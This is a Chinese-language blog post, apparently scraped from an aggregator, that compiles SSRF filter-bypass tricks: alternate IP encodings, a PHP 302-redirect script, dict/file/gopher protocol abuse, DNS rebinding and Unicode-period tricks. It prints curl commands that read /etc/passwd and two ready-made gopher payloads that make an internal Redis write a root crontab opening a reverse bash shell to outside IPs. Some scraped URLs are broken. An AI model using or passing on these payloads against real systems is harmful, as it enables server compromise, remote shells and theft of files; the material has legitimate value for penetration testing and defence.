2023年6月28日发(作者:)
SSRF常见绕过思路搜集的⽹上常见SSRF绕过思路@绕过该请求得到的内容都是10.10.10.10的内容,此绕过同样在URL跳转绕过中适⽤。360会阻⽌这种访问⽅式,访问显⽰空⽩页,firefox、chrome可以这样访问ip地址转换绕过有些ssrf防护措施,会对输⼊的URL做正则匹配,限制内⽹地址,⽐如192、168这些地址,但如果转换成其他格式的ip地址,可能会绕过对于这种过滤我们可以采⽤改编IP的写法的⽅式进⾏绕过,例如192.168.0.1这个IP地址我们可以改写成:(1)、8进制格式:0300.0250.0.1(2)、16进制格式:0xC0.0xA8.0.1(3)、10进制整数格式:3232235521(4)、16进制整数格式:0xC0A80001还有⼀种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1Example: 115.239.210.26 = 短⽹址绕过利⽤302跳转需要⼀个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内⽹中⽐如
$schema = $_GET['s'];$ip = $_GET['i'];$port = $_GET['p'];$query = $_GET['q'];if(empty($port)){
header("Location: $schema://$ip/$query");
} else { header("Location: $schema://$ip:$port/$query");
}然后访问之#dict protocol - 探测Redisdict://127.0.0.1:6379/info
curl -vvv ':8082/?url=:8082/?s=dict&i=127.0.0.1&port=6379&query=info' file protocol - 任意⽂件读取curl -vvv ':8082/?url=:8082/?s=file&query=/etc/passwd'#gopher protocol - ⼀键反弹Bash注意: gopher跳转的时候转义和`url`⼊参的⽅式有些区别curl -vvv ':8082/ssrf_only_http_?url=:8082/?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'利⽤其他协议绕过如果服务器端程序对访问URL所采⽤的协议进⾏验证的话,可以通过⾮HTTP协议来进⾏利⽤。(1)、GOPHER协议:通过GOPHER我们在⼀个URL参数中构造Post或者Get请求,从⽽达到攻击内⽹应⽤的⽬的。例如我们可以使⽤GOPHER协议对与内⽹的Redis服务进⾏攻击,可以使⽤如下的URL:gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1*
* * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a(2)、File协议:File协议主要⽤于访问本地计算机中的⽂件,我们可以通过类似file:///⽂件路径这种格式来访问计算机本地⽂件。使⽤file协议可以避免服务端程序对于所访问的IP进⾏的过滤。例如我们可以通过file:///d:/ 来访问D盘中的内容DNS重绑定⼀般我们输⼊的URL地址,服务器后端接受后,会进⾏第⼀次dns解析,可能是本地的DNS服务器,也有可能是其他区域的服务器,然后获取的ip地址在进⾏逻辑判断,如果是内⽹地址则不通过,判断通过后,然后在去请求⼀次url地址对应的内容,这⾥是第⼆次dns解析。那么问题就来了 ,这第⼀次和第⼆次之间的时间差,就能做⽂章,前提TTL为0,即dns解析记录缓存存活的时间为0,相当于每次解析都要去重新请求dns服务器,⽆法在本地缓存。⽐如在把同⼀个域名绑定两个不同的地址,也就是两条A记录,去碰这个概率,要的情况是第⼀次为外⽹地址,然⽽TTL为0,第⼆次请求的时候要为内⽹地址。上⾯这种情况的话,每次解析的结果随机,所以要达到上⾯这样情况有1/4的机率,是这样算的吧。所以去碰这个概率,碰到了就能成功,但这种⽅法不稳定。需要⼀个更好的⽅法所以需要 添加⼀条A记录和⼀条NS记录ns记录表⽰域名这个⼦域名指定由这个域名服务器来解析,然后a记录表⽰我的这个的位置在ip地址104.160.43.154上。这样的话第⼀解析时为这个地址,能通过,然后第⼆次解析的时候,就为配置的内⽹地址了成功绕过。这是个特别的 域名,是别⼈搭好的⽹站,具体信息可以访问来查看,他会把如下的域名解析到特定的地址,其实和dns解析绕过⼀个道理 = = 10.0.0.1 = :// = resolves to resolves to resolves to resolves to 10.0.0.4利⽤Enclosed alphanumerics绕过利⽤句号绕过127。0。0。1 >>> 127.0.0.1基于快速⽹址绕过/?target=http%3A//%3A80%2B%26%40127.88.23.245%3A22/%23%2B%%3A80/
发布者:admin,转转请注明出处:http://www.yc00.com/news/1687919343a57173.html
评论列表(0条)